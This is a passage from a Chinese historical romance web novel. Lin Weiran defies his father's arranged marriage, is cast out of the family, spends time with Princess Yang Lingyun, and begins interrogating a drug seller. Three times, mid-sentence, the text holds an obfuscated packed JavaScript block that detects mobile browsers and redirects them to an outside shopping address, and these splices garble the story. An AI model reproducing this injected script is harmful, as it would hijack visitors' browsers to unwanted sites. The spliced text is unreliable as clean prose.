他抬脚下台阶,宾客们都下意识给他让了路,林魏然走到那些聘礼前,转身启唇,声音清晰又平淡:“这些聘礼是宁安侯府下给郑家的,不是我林魏然下的。诸位需得记得,日后这林、郑二家的婚宴上,新郎是谁都有可能,只不会是我林魏然。” 平静的声音更显出他的不容置喙,厅内僵住片刻,旋即爆发出嘈杂的议论,探究的看好戏的担忧的不解的眼神都集中在他和主座之上的那些人身上。 林魏然抬脚准备离开,宁安侯顾不上许多,气急败坏地厉喝道:“给我拦住这个混账!” 与此同时,王清安终于带着侯府管家匆匆赶来,王正安也站了出来:“诸位,这到底是宁安侯府与郑家的事,我看咱们呐,还是先散了吧。” 看热闹是人的天性,没有人想走,宁安侯也不想在这种时候把宾客都放走——他的面子已经被林魏然踩得稀碎,若不能当众把这婚事坐实了,他日后如何见人? “王相,”宁安侯甩袖上前,在王正安耳边低声道,“这是我家家事,您老就别插手了。” 王正安瞥了他一眼,向来和蔼的面孔上染上冷色,“你想让林魏然当众把八年前那场婚事再翻出来吗?” 宁安侯一时僵住,继而又笃定:“他不敢。” 王正安此时恨不得敲开宁安侯的脑子看看他到底在想什么——这么多年了,他对他这个儿子还没了解清楚吗? 逼急了林魏然,他什么都敢做的出来。 更重要的是,长公主还在这坐着呢! 就在两人说话间,林魏然已然踏出了宴会厅。 但守在门口的仆从尽职尽责地挡住了林魏然的去路。他被迫站在两列聘礼的夹道最前端,乍一看,这聘礼还真有点像他下的。 王正安皱紧了眉头,刚想说什么,林魏然再次转身看向宁安侯,嘴角扯开似笑非笑的弧度,“林相这是想与我动手?” 这会他连父亲都不叫了,只称官职,什么意思显而易见。 宁安侯气红了眼,抓过身边的一盏茶杯扔过去:“大逆不道的混账,没有你老子我你能爬这么高?” 茶杯被林魏然扬手拍开,无人受伤,只有一个看热闹的倒霉鬼被溅了一身。 林魏然站在原地,眼底凉薄,无动于衷:“太傅位列三公,乃京中百官之首,林相慎言。” 太傅是个位尊的虚衔,但此时搬出来却再好用不过。 宾客中有一人忍不住开口:“林相啊,既然林太傅都说了有心上人,你何不成人之美,何必逼着他娶郑家姑娘呢?这强扭的瓜也不甜啊。” 王正安适时地投了一眼意味深长给宁安侯,像是提醒。 眼见宾客们将注意力放到林魏然先前所说的那个神秘心上人,宁安侯脸色微变,不甘却也不得不开口道:“如今时辰不早了。等定下了日子,再请诸位来喝酒。” 主人已经发话,宾客们就算再想看热闹也不得不离开了。 有人离开前拍了拍林魏然的肩劝道:“这婚嫁之事向来都是父母之言媒妁之命,你今日可有些过了。” 也有人劝宁安侯:“陛下如今看重林太傅,林相又何必在这种事上与林太傅针锋相对呢?” 侯府管家一一领着人出去了,杨灵允最后起身,看了看不远处的郑虔,似笑非笑地开口:“郑将军此次回京可给了本宫好大一个惊喜。” 郑虔脸色一变,又连忙行礼请罪:“小女已到婚嫁之年,下官也爱女心切,公主恕罪。” “恕罪?”杨灵允轻笑出声,回头看了眼仍在主位之上的郑昭月,两双相似的风眼遥遥相对片刻,她就收回眼神,淡淡道,“郑将军爱女心切,何罪之有?” 她带着幼荷离开了,厅内剩余的人拱手相送。 踏出门时,她与林魏然擦肩而过,脚步没有丝毫的停顿。幼荷倒是停了片刻,眼神复杂地看了眼林魏然。 很快,厅内只剩郑家三人,宁安侯府三人,还有一个王正安。 “行了,有什么现在都说清楚,在那么多人面前闹成这样,也不嫌丢人?”王正安率先开口。 郑虔先开了口,“林相,这可与你跟我说好的不一样。” 宁安侯脸色沉沉没说话。宁安侯夫人看着林魏然,柳眉微皱:“容时,这是娘的生辰宴,你一定要这样闹吗?” 林魏然动了动喉结,转头看王正安,声音中有微不可察的疲惫:“老师,你也觉得是我做错了吗?” “混账,你的婚事哪轮得到你说了算!”宁安侯没等王正安开口就先呵斥了,迫切地想找回自己今日丢掉的面子。 王正安看着眼前的学生——他已经长大了,但他身上的某些东西却一直没变。 他不知道这是好是坏,但他只知道一点——林魏然与长公主是绝对不可能的。 “容时,”王正安摸了摸花白的胡子,久违地唤了他一声字,语重心长,“我不知道你先前说的心上人是谁,但你要认清你现在的身份,你是当今太傅,是天子之师,你必须坚定地站在陛下这边,朝中人才会一样坚定地追随陛下。” 林魏然倏然沉默。 与此同时,郑虔也在焦躁地来回踱步,反复斟酌。 杨灵允先前那意味深重的一眼已经让他有些不安,他断没想到说好的婚事会变成如今这场乱哄哄的闹剧,但事已至此,他只能硬着头皮走到底—— “林相,既然聘礼都摆出来了,你今日必须给我一个交代。” 他还是想把女儿嫁给林魏然——就算林魏然心有所属又怎样?他至今没成婚,想必他那心上人定是入不了宁安侯府的门槛,否则林魏然大可顺势而为,又何必与宁安侯针锋相对? 宁安侯阴沉着脸盯着林魏然,一字一字道:“之前我就说过, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13672683|133984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 除非我死了否则我绝不会同意你与她。今日我就把话撂这里,郑家的婚事我林氏定下了,你要是不娶,就给我滚出林氏!” 此言一出,满堂皆惊。 宁安侯夫人连忙开口:“侯爷,这话可说不得啊。” 王正安也皱了皱眉头。 只有林魏然站在原地,神色没有半分变化。 在所有人的注视下,林魏然看向宁安侯,嘴角忽然扯出了很细微的弧度,眼神仍旧平静:“那就把我从林氏族谱上除名吧。” 他说得轻描淡写,却仿佛是在气氛僵持的宴会厅内投下一块巨石,砸得所有人头昏眼花,难以置信。 王正安眉头紧锁:“容时,别说气话。” 宁安侯夫人连忙上前拉住了林魏然的手,眼底含泪,声音微哽:“这是娘的生辰啊容时,你到底要闹到什么时候?别逼我与你爹了好吗?” 宁安侯逼迫不成,气急败坏地又扔了一盏茶过去,不过仍被林魏然挡下了。 郑虔与傅琴也对视一眼,眼神复杂。 此时,另一个闹剧主角终于第一次出声了——“林太傅,想必你一定很爱你的心上人。不过成大事者不拘小节,林太傅未免有些太执着于儿女情长之事了。” “看看,看看,”宁安侯冷笑道,“姑娘家眼光都比你放得长远。” 郑虔意外地看了眼郑昭月,郑昭月也冲他笑笑,掩唇轻声道:“爹,既然你想与宁安侯府交好,女儿自然帮你。” 郑昭月的话让郑虔猛然浑身一颤——自己是不是做错了?或许长公主压根就不在乎那件事呢?那么他今日种种,为把昭月嫁给一个不爱她的人,是不是害了昭月? “若林太傅实在割舍不下,我也不介意与她平起平坐。”郑昭月继续微笑着开口。 “昭月!”郑虔这回变了脸色,微微加重了语气,“说什么胡话?” 郑虔又看向宁安侯和林魏然,冷声道:“昭月年轻不经事,我可不一样,我断不会让我女儿受这种委屈。” 宁安侯和宁安侯夫人都是知道内情的,笃定道:“郑将军放心,绝不会让郑小姐受委屈。” 这话说的,仿佛林魏然已经应下了婚事。 林魏然忽然觉得这个场景很好笑,他也确实笑出了声,“林氏有很多适龄公子,林相去寻他们便是。” 说着,他缓慢地拂开了宁安侯夫人的手,“母亲,不是我逼你们,是你们在逼我。” “你们明知道我不会同意这桩婚事,所以才在生辰宴上宣布,想让众人一起逼着我认下这桩婚事,不是吗?” 宁安侯夫人僵了片刻,一滴泪自眼角滑落,声音凄凄:“容时,我们这都是为了你好啊。” 林魏然垂了眼,长睫挡住了他的眼眸,只听得见他冷淡的声音:“可我想什么,我愿不愿意,我高不高兴。你们根本都不在乎,你们只是在满足自己。” 这话实在难听,宁安侯夫人抬手抹泪,脸色苍白:“容时你这说的什么话?我们还会害你不成?你年纪轻不经事,难不成还真想……” 她理智尚存,还知道郑虔在这,不能把杨灵允扯进话题中。 宁安侯怒视着林魏然,若不是还有外人已经要拿鞭子了,“好,你有骨气,你不娶是吧?不娶你这辈子都别回来了!” 林魏然抬眼扫过自己的父亲母亲,片刻之后脸上浮出苍凉的狠绝,“那就顺便把我也逐出宁安侯府吧。” 他转身,终于开始动手了。仆从敢拦路却不敢与林魏然真的动手。 “林魏然!”眼见拦不住人了,宁安侯夫人尖声喊道,“你当真要为了一个女人毁了娘的生辰宴,做到如此地步吗?” 林魏然脚步顿了片刻,回头最后望了一眼,脸上的狠绝变成一种悲哀的平静漠然:“毁了生辰宴的不止是我,也是你们自己。”? 55. 第 55 章 没有人再出声,也没有人再拦住林魏然。 他听到身后传来女人隐约的哭声,还有郑虔的声音、宁安侯的声音、还有王正安的声音…… 不过这些声音随着他踏出侯府大门,也陡然消失。 他所有的感官忽然都集中在了侯府门边的一个人影上——她上身着石榴红的大袖儒衣,下配玄、红二色间色裙。漫天日光都落在她的面孔上,连她嘴角那点细微的弧度都照得分明。 痛苦和悲哀编织而成的绳子仿佛瞬间松了绑,林魏然忽然就笑了,轻声道:“你没走……” 杨灵允倚在石柱上看他,像是反问,又像是陈述,“你没娶她。” “嗯,”林魏然抬脚上前,忽然牵住了她的手,“我不会成亲。” 杨灵允只觉到他手心的热意从自己的手背处蔓延开来,细细密密地流向四肢百骸,然后集中在某一处炸开,滚烫的热意几乎要烧光了她的理智。 又或许是因为她本来也没剩多少理智——不然怎么可能还在这里等着林魏然? “我被逐出侯府了,”林魏然又笑了下,“宣和……” 他似乎还有什么话想说,但话到唇边却又停住了,只定定地看着杨灵允,仿佛在等待她的宣判结果。 杨灵允抬眼看了他片刻,就在林魏然心下开始打鼓,下意识收紧手心想抓紧她时,她终于伸手将他好不容易弯起的嘴角又拉下来—— “不想笑就别笑,我又不嫌弃你。” 片刻之内,巨石轰然落地。 林魏然唇角不自觉浮起了细微的弧度。这回,杨灵允总算没再说他笑得很难看了。 侯府往前转个弯便是朱雀大街。午后时分,人潮熙攘,走街串巷的小贩和百姓没有人知道他们到底是谁,他们可以肆无忌惮一回。 但没过片刻,这点肆意便消失了。林魏然牵着杨灵允在一个分岔路口停住了脚步。往右,是他家,往左,是皇城。 林魏然喉结滚动两下,看向了身边的杨灵允。 杨灵允往左边望了一眼,宫门仿佛近在咫尺,高得令人窒息。她沉默片刻,轻声道:“我不想回宫。” 林魏然喉结再次滚动一下,握紧了杨灵允的手,然后往右。 他独居的宅子不大,是当年先太子所赠。自他入仕之后便搬了出来,算下来,也已住了六七年了。 宅子中处处都是生活的痕迹。院子石桌上的书和茶盏,书房内略有凌乱的书架和书桌,还有寝屋内松软的被褥。 院子中还扎了一个秋千,就在石桌边上。 杨灵允饶有兴致地晃着秋千,“宁安侯应下郑虔的婚事是背着你的?” 林魏然坐在石桌前,手肘撑在桌子上,笑着看杨灵允,点点头又问道:“你是什么时候知道的?” 杨灵允脸色一顿,不自在地别过了脸,过了好一会才道:“曲江宴上郑虔找上宁安侯,我就知道了。” “我还以为……”林魏然恍然点头,轻声嘟囔了一句什么。 杨灵允没听清后半句,便拽停了秋千探头问道:“以为什么?” “我以为你觉得我是想成家了,才与你说成婚一事。”林魏然正视着杨灵允,眼神认真,声音缱绻得近乎温柔,“我只想与你在一起,明明白白自然是好,无人知晓我也不在乎。” 他这次终于吸取了经验,将话说得明明白白,没留半分乱想的余地。 世人总觉得有些话不必说出口,该懂的人自然会懂。 但情之一字既能让人心有灵犀,也会让人胡思乱想。可惜大多数人只知道前半句,而不理解后半句。 林魏然决不想再当一次那种人。 直白的话语打得杨灵允措手不及。 她下意识低头,再次晃起了秋千,一副自己忙着荡秋千没空理他的模样。 其实她已经不知道该如何去接受旁人的情感,她总会不自觉地想——是否这份情感中也掺杂着算计,别有所图?就算这份情感当真干干净净,又能得善终吗? 所以她发自内心地抵触这种正式的情感——这种东西,从来就不属于她。 但这一次,林魏然却无声地勾了勾唇——杨灵允肯在侯府外等他已经给了他极大的满足感和安全感,所以就算杨灵允还在这种事上逃避,他也有足够的耐心和信心慢慢等,等到杨灵允愿意敞开心扉的那一日。 他们还有很多时间。 杨灵允荡了一会,又觉得一直沉默不太好,便开口问道:“你见过郑昭月了,她与我的模样应当极相似吧?” “外貌相像之人不少。不过这种程度的相似,倒是少见,”林魏然听见后厨那边传来细微的声音,边起身边应道。 只是当他拎着东西回来时,又觉得有些不对劲,“你比她晚到,今日宴席上人又这么多,你如何认得出谁是她?” 杨灵允没回答他这个问题,只坐在秋千上仰头看他,残阳落在她脸上,遮住眼底的复杂情绪,“那若是我与她站在一起,你认得出来吗?” 夏风适时地滑过,她的宽袖在风中猎猎作响,扬起一片朱红。与先前宁安侯府数十聘礼连成的红竟有几分相似。 林魏然看着她的眼睛,弯唇轻笑,笃定扬眉:“自然认得出来。” 一股极其陌生的感觉随着他含笑的话语猛然冲上杨灵允的胸腔,好像是那种始终飘荡无处安放的灵魂有了沉甸甸的重感。 她一点点垂了眼,手无意识地拉住扎秋千的吊绳,再次拽停了秋千的细微晃动。 就在她沉寂无言之时,林魏然已经动作麻利地盛出了一碗汤,递给杨灵允,弯唇笑道:“魏院判给的醒酒汤方子。” 所有的充盈满涨和那点悲春伤秋的情绪一下被这碗突如其来的醒酒汤冲散了。 杨灵允盯着林魏然手中那碗漆黑的汤汁,嘴角抿起嫌弃的弧度:“这能喝吗?” “当然能喝,这是我让魏院判特意调的方子,”林魏然言之凿凿又义正言辞,“你刚刚喝酒了,我看见了。” “你不是也才刚回来,怎么弄得这么快?”杨灵允实在不解,她虽然还没想明白自己到底来做什么,但能确定的是——她可不是想来喝醒酒汤的。 林魏然手仍直直地挺在半空,“我去侯府前就备下了。” 这话气笑了杨灵允,“这么说,不管今日如何,你都会带我回你家?” 林魏然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13687268|133984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诚实道:“不是,我只是想着,如果你真的愿意来,我提前备下便有意义了。” “那若我不来呢?” 这话一出,林魏然眼尾便有了细微的耸拉,好像连带着手臂都有了些许的松懈,声音也一下变小:“那我就倒了。” 他这副敛眉垂眸的模样是杨灵允最看不得的。她无奈地吐出一口气,抓过他手中的碗仰头喝下。 也就在她喝下之时,林魏然眼底便滑过细微的狡黠笑意。 杨灵允离得近,一下就明白他刚刚分明是在装模做样,但醒酒汤都喝进嘴里了,也不能再吐出来。 不过转瞬之间,她便计上心头。 她对林魏然勾了勾指尖。林魏然以为她要说什么,便弯腰凑了过去,几乎要贴在一起。 杨灵允眼睛一转,笑意闪过,直接将他按了下来,唇齿相接,她口中还剩的醒酒汤尽数被渡进他口中。 等到林魏然好不容易咽下这口突如其来的醒酒汤,杨灵允才肯松手,又靠回秋千上,懒洋洋地看着他笑:“怎么样好喝吧?我瞧你也喝酒了,这醒酒汤,可不能我一人独享。” 林魏然咳嗽两声,才沙哑着声音开口了,“宣和……” 他只唤了一声,声音变得很沉很哑,未尽的言语中似乎还藏着什么惊涛骇浪。 “嗯?”杨灵允懒懒应了一声,便见林魏然缓缓起了身,站在自己的秋千前。 他站着,她坐着。 日光被林魏然挡住了,只投下一片暗淡的影子,在秋千底下细碎摇晃。 杨灵允看着他墨黑的眼睛,下意识动了动喉咙,嘴角又扬起一抹不甘示弱的笑:“你要做什么,容时哥哥?” 不知这话究竟是警告还是火上浇油。 林魏然定定地看着她含笑的眼睛,微微仰起更显细长的脖颈,还有脖颈处的交叉的衣领。 她今日是来赴宴,穿得比那日正式不少,脖颈上带着明珠,发髻上的步摇垂落下一串金贵,通身都是长公主的气派和凛然。 不过大抵人都有些难以磨灭的劣根性,所以这更激发了林魏然心底疯涨的妄念。 他喉结又滚动了一下,清脆的声音在清晰落在杨灵允耳中、眼底。 紧接着,便是林魏然一点点放大的面孔——微弯的眼睛,高挺的鼻梁,薄薄的嘴唇。 脸颊边也传来热意,是林魏然的指尖在摩挲着。 杨灵允只眨了下眼,便挑眉默许了他的靠近,甚至还微微直起身子,十指慢慢插.进他的发间。 秋千摇晃的弧度便大了些,连杨灵允发间的步摇都撞出清脆的声音。 日光照着弯腰的林魏然,还有秋千上的杨灵允,投下的影子也变得摇摇晃晃。 “……进去” 杨灵允从唇齿间挤出这两个字,双手搂住他的脖颈,额上的花钿不知何时都丢了一片。 不过下手的最后一刻她猛然记起林魏然后背有伤,手腕一转掐住了林魏然的手臂,咬牙重复道:“进屋去……” 她到底没有林魏然脸皮那么厚。 林魏然唇边弯起细微的弧度,又替杨灵允正了正发间步摇,轻声笑开:“遵命,公主。” 56. 第 56 章 六月初,杨灵允终于搬离了太极宫。宫外符合规制的空府邸只多不少,她随便选了一座,安排了些人手进去,自己却没住过几回—— 她基本都住在林魏然那座小院里,只有每五日的大朝会之前会回公主府住上一晚,第二日直接上朝。 小皇帝还未掌握实权,她尚得在朝中。况且,她还有有些事想搞明白。 有时下朝之后,她也会带着幼荷回太极宫看小皇帝。幼荷在知道杨灵允离宫后,死活不肯留在宫中,如今住在了公主府。 而也就在杨灵允出宫建府的短短一段时间内,小皇帝身量猛曾,整个人变得利落修长,五官锋利不少,再没有过去黏人撒娇的模样了。 杨灵允心底有些遗憾,不过转念一想,小皇帝成长的速度越快,她离自由就越近了不是吗? 这样想着,那点遗憾便也不足为提了。 这日散朝后,杨灵允连公主府都懒得去了,将朝服换下后直接去了林魏然的家——其实这要是被朝中那些言官知道,大约是要连夜写奏折上书,第二天直接跪在太极宫门口斥她有损天家门面。 但没有人知道。无人知晓,便是不曾存在。所以杨灵允去得心安理得。 只是当她推开门时,却忽然停住了脚步——院内不止林魏然一人,还有一堆文书和王清安。 …… 【一刻钟前,林魏然刚刚下了朝回家,就看见王清安等在他门口,来回踱步,迎上来的第一句话就是—— “林尚书,姓张的骗了我们!” 王清安口中那姓张的便是前些日子在西市抓到的售卖寒食之人,张黎 据他所说,他手中的寒食是宫中流出来的,但昨夜刑部又抓到了一个他手下的一个小喽啰。小喽啰说,张黎现在手中的寒食压根不是四年前宫中流出来的那批。 “何出此言?”林魏然皱眉怀疑,并开门让他进来说。 王清安喘了一口气,将手上抱的东西放在桌上,才继续道:“张黎混迹长安坊市,什么都干,就是没碰过寒食。直到四年前他才收了一批从宫中流出的寒食,那小喽啰自己也吸,据他说,张黎现在售卖的那批与四年前宫中那批压根不是一个味。” “张黎售卖的寒食是从什么时候变了?” “四年前,”王清安答得很快,“四年前宫中的寒食全卖光了,此后三年,张黎手上都没出现过寒食。直到一年前,张黎似乎是找到了新的寒食来源,手中的寒食源源不断,但质量远不如宫中那批。”】 他话音刚落,门就被推开。 杨灵允站在门口,与回头的两人对视,下意识轻轻皱了皱眉。 王清安大惊失色,连忙起身行礼:“刑部侍郎王清安拜见公主殿下。”林魏然抿了抿唇,也起身轻声参拜。 但这最多也只能在面上遮掩几分,在场的哪个是傻子? 林魏然见杨灵允沉默在门口,垂下眼底一闪而过的失落,又道:“寒食一事刑部有了新的线索,公主放心,刑部定会尽快抓住凶犯。” 他这话直接将杨灵允来他家的这种私事变成了公事。虽然还是勉强,但至少明面上有了个正经理由。 杨灵允眨了眨眼,便关上了门,先瞥了眼王清安:“王氏子弟?” 王清安低眉应是。 “行啊,“杨灵允缓步走了过来,像往日一样坐在林魏然身边的秋千上,“跟我说说,查到什么了?” 林魏然刚想开口,杨灵允仿佛心有灵犀一般瞥了他一眼,淡淡道:“王侍郎,你来告诉本宫。” 王清安喉结滚动好几下,才小心翼翼地开了口。 …… 杨灵允听完了王清安的解释,边晃秋千边道:“我前些日子中的毒,与宫中流出的那批寒食无关,更可能与张黎后面拿到的寒食有关。” 林魏然皱了皱眉,觉得有什么不对劲:“公主知道宫中流出的那批寒食是何人所制?” “自然,”杨灵允像是想起了什么,脸上滑过一丝似笑非笑的讥诮,“不过这就跟你们没关系了,再去审张黎吧,看看他手中的寒食是哪来的。一个长安街头的混混,没那么大的本事混进金吾卫。” 王清安看了眼林魏然,咽了口唾沫插嘴道:“张黎如今油盐不进,咬定了他手上的货全是四年前的宫中那批,所以下官才不得不上门请林尚书……” 林魏然沉默片刻,对王清安道:“你先回刑部,我随后就到。” 王清安浑身一激灵——公主还没发话呢,林尚书就先下了安排。若是惹公主…… 不过杨灵允开口时却没在意这事,反而似笑非笑地看了眼王清安:“王侍郎不必紧张。林尚书能请王侍郎进门,想必定是信任王侍郎为人,相信王侍郎知道什么该说什么不该说。” 王清安连忙低眉敛眉,不再看林魏然和杨灵允:“下官明白。” “行了你先回去吧,”林魏然手肘撑在桌面上,捏了捏眉心,“我马上就去。” 等王清安退出了院子,杨灵允才看向林魏然,率先发问:“你家中常会有同僚上门?” “只有王清安知道。他知道我习惯,没有急事不会来此,”林魏然转头看杨灵允,眼神变得深重,“宣和,魏院判说你是四年前中的毒,是不是与张黎口中的,四年前宫中流出的那批寒食有关?” 杨灵允下意识地垂眼避开,脚再次蹬起秋千,沉默以对,显然是不想说此事。但林魏然这次多了些不达目的不罢休的狠劲儿,伸手拽停了秋千,定定地看着她。 秋千停下,对视半晌,连风都凝固了,杨灵允才重重地吐出一口气:“我能保证此事与你想查的案子无关,非要问到底吗?” 林魏然忽然坐到了杨灵允身边——秋千很大,容下两人绰绰有余,往日小院无人时,他们也常常坐在一起。 只是此次与往日截然不同,两人都只看着对面的院墙,日光明亮,却照不明他们的神色。 “那你呢?”林魏然再次摇起了秋千,在和缓的摇晃中轻声开口,“你放下此事了吗?” 杨灵允的拉着秋千绳子的手猛然收紧,骨节泛白。 林魏然眼神垂落,覆上了她握成拳的手,动了动喉结,继续道:“宣和,我知道你觉得很多事都过去了,所以不想说。若你当真觉得都过去了,不值一提,我绝不逼你。” 说着,他转头看杨灵允的侧脸,另一只手轻轻抚过:“可你真的觉得过去了吗?” 杨灵允猛然拽停了秋千,沉默片刻转头看他:“林魏然,你有时当真是自大。” 她声音很淡,眼底只有日光。林魏然笑了下,手指还摩挲着她的侧脸,一言不发。 杨灵允又转回头,像是缓缓被抽走了身上的力气,一点点靠在秋千椅背上,阖上了眼。 不知过了多久,连日光好像都变得暗淡了,她终于开口了—— “宫中那批寒食是当年闻妩的心腹太医制的,下在了我的药里。后来事发,先帝就让人把那剩的寒食都扔出宫去,估计转到了张黎手中。” ……“先帝说公主那边再打发两个人伺候就好了” “先帝原本没想赐死闻妃娘娘,是……” 轻描淡写的声音在林魏然耳中仿佛幻化成另一种声音…… 那日送安王离开时杨灵允的神色再次浮现眼底,林魏然突然觉得心脏像是被狠狠掐住,几近窒息。 不过一旁阖眼的杨灵允无知无觉,仍在继续开口,语调平静得仿佛是在讲述旁人的事——“先帝此举是想息事宁人,可我怎么能放过闻妩呢?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13699625|133984||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说着,她忽然睁眼看林魏然,语调中染上浓浓的嘲讽:“所以啊,我提前让安乐把闻妩的裙子染了色,只要碰了茶水,就会变成靛青色。事发那日也是我精挑细选,母后身着靛青衣裳自缢的日子,就算给我下药这事扳不倒闻妩,在先皇后忌日身着靛青也足够让她死一百回了。” “如何?满意了吗?我说过此事跟你查的案子不会有任何关系。”杨灵允又阖上了眼,再次靠回秋千上,声音变得平淡,“或者,你还想听我在你面前怒骂先帝,说我有多么恨他从来不在意我的死活?” 林魏然长睫忽然有了轻微的颤抖——他难以想象,那时的宣和究竟是抱着怎么样的心情用命做局后,还做了后手准备。 期望,还是绝望? 满心酸胀间,他一点点地倾身靠近,微颤的唇在她额上落下一个很轻的吻:“骂就骂吧,我都听着。” 杨灵允猛然睁眼,看见放大在自己眼底的面孔,忽然很淡地笑出了声:“不觉得我大逆不道吗?” “我在我娘的生辰宴上当众忤逆,你不也没觉得我大逆不道吗?”林魏然的吻步步向下,不是充满情.欲的热切,是一触即离,轻得仿佛蜻蜓点水,带起阵阵细小却不容忽视的波澜,“宣和,你不必什么都压在心里。” 杨灵允又阖上了眼,再次沉默。 就在林魏然以为她不会再出声时,轻淡的声音再次响起,:“幼时我只是觉得他是天子,很忙,所以没空见我。后来我才知道,他只是不在乎罢了,我是死是活,于他而言压根不重要,甚至不如他的颜面来得重要。” “哥哥说,父皇乃天下之主,要考虑的很多。他让我别怪父皇,”杨灵允声音顿了片刻,下颌抬高了些,脖颈愈发显得瘦长,她才继续开口,声音中忽然有一瞬间的苍凉和恨意—— “可我快死了的时候他也不曾给过我半分怜悯,我又凭什么要忠他爱他?” 杨灵允的思绪随着说出口的话仿佛又飘回了四年前飘雪的那个冬日。她在用自己的命做局后,只得到先帝不耐烦的八个字——“罚俸半年,到此为止。” 那一刻,她彻底死心。 “太冷了……那个冬天太冷了……”杨灵允靠在秋千上,明明是初夏时节,整个人却微微蜷缩起来,低声呢喃着。 林魏然眼底闪过痛色,右手下意识虚虚拢住她,将她拉近自己身侧,左手撑在了她的脑后,轻轻摩挲着后颈的软肉,抚过一寸寸凸起的骨头,轻声道:“想恨就恨,没有人会责怪你的。没关系的……不冷了……” 他在她耳边低声呢喃,一遍又一遍,仿佛也身处四年前的那个寒冬。 也是在这一刻,他无比痛恨自己当年的固执和清高。 低个头,留在长安,就算被人指着脊梁骨说他靠的全是林氏和宁安侯府又如何? 后颈处传来的热意很快唤回了杨灵允的思绪,浓重的热意中还混着林魏然手心茧子摩擦而过的细小刺痛。 那股始终在她胸腔内嚣张作祟的愤恨不甘在此刻忽然沉寂下来。 她侧头看了林魏然,看到他温和的侧脸变得紧绷,薄唇抿成一条平直的线,好像很难过的模样。 可这是她的痛苦,他为什么要难过呢? 杨灵允眨了眨眼,直起腰背推了把林魏然,脸上不自觉浮出一抹很淡的笑:“去刑部吧,王侍郎还等着你呢。” 此时已是日头西斜,残阳落了满院,满眼昏黄,满眼温热。 被推开了些,林魏然却没起身,指尖还在有一搭没一搭地轻轻摩挲着杨灵允的后颈,言语中似有些旁的意思:“审张黎还不知要多久,今夜都不一定能回来。” 杨灵允任由他放肆的动作,凤眼挑起愈发浓重的笑意:“你是不是想让我跟你一起去刑部?” 57. 第 57 章 那日在大长公主府外,刑部有不少人都见过她的面孔,杨灵允带了面纱才去刑部。 站在刑部外等着的王清安见林魏然还带了人来,好奇定睛一看,猛然一惊——林尚书怎么把长公主也带来了? 面纱轻薄,顶多只能瞒过少见杨灵允的人。可王清安刚刚见过,杨灵允的衣裳是什么样都记得清楚,怎么可能认得出来? 他刚想行礼,杨灵允抬手制止了他,“不许透露本宫身份。” 王清安硬生生把刚弯下的腰转了个方向,对准林魏然。 杨灵允走在最前面,林魏然跟在后面,王清安落在最后,找了个机会扯着林魏然的衣袖苦着脸问道:“林尚书,你怎么把……都请来了啊?那我怎么称呼啊?” “唤我杨姑娘就好,”走在最前面的杨灵允忽然停下脚步,话是对着王清安说的,只是眼神落在林魏然身上,凤眼里带着促狭的笑意。 王清安刚想弯腰又硬生生止住,应了声是,只是那声“杨姑娘”,无论如何也不敢喊出口。 因为王正安的缘故,他对杨灵允这几年在幕后的谋划清算知之甚多,知道得越多,就越敬畏,也越恐惧。 林魏然无奈地拨开他的手,低声道:“行了有点出息,公主来也是来审张黎的,你紧张什么?” 王清安一路小心谨慎的,总算到了刑讯堂。原本林魏然审人时,都是他在一边做记录,如今杨灵允也在这,他忽然觉得自己有些多余。 “你出去吧。”林魏然坐到堂上,对王清安挥了挥手。 王清安如获大赦,连忙离开。 “我说了,我来的话你身边那王侍郎定会紧张得很,”杨灵允懒洋洋地寻了张椅子坐下,刑讯堂幽暗的火光照亮了她眼底明晃晃的笑意。 其实林魏然想让杨灵允一起来刑部不止是因为先前提及了过去之事,怕杨灵允一人在家又胡思乱想,更因为他发觉杨灵允这几日除了上朝就是在家荡秋千,极少出门。 他更担心这一点。 不过他没说出来,只是笑了下:“管他呢?来审人吧。” 张黎五花大绑地捆在木椅上,浑身狼狈,低着头像是昏过去了。 “用过刑了?”杨灵允挑眉好奇问道。 林魏然起身泼了盆凉水,边泼边道:“不会,没我的允许他们不敢。” 凉水劈头盖脸地浇了张黎一身,他打了个激灵,总算抬头,脸上果然没有半分伤痕。他大约是被凉水浇得浑身发冷,牙关打颤,说话都有些不清楚,“上官,我该交代的都交代了,还不能放过我吗?” 语调里有一股混不吝的味道。 林魏然随手扔了水盆,剧烈的声响回荡在空旷幽暗的刑讯室内,他拍拍手往堂上的座椅那边走,淡淡道:“都交代了?那再说说,你如今手头上的寒食是怎么回事?” “我说了是宫中传出来的,”张黎满脸无奈,“上官,这售卖寒食也不犯法吧?” “在长安确实不犯法,”林魏然坐了下来,又掸了掸衣角的水珠,漫不经心,“不过,谋害长公主,可是诛九族之罪。” 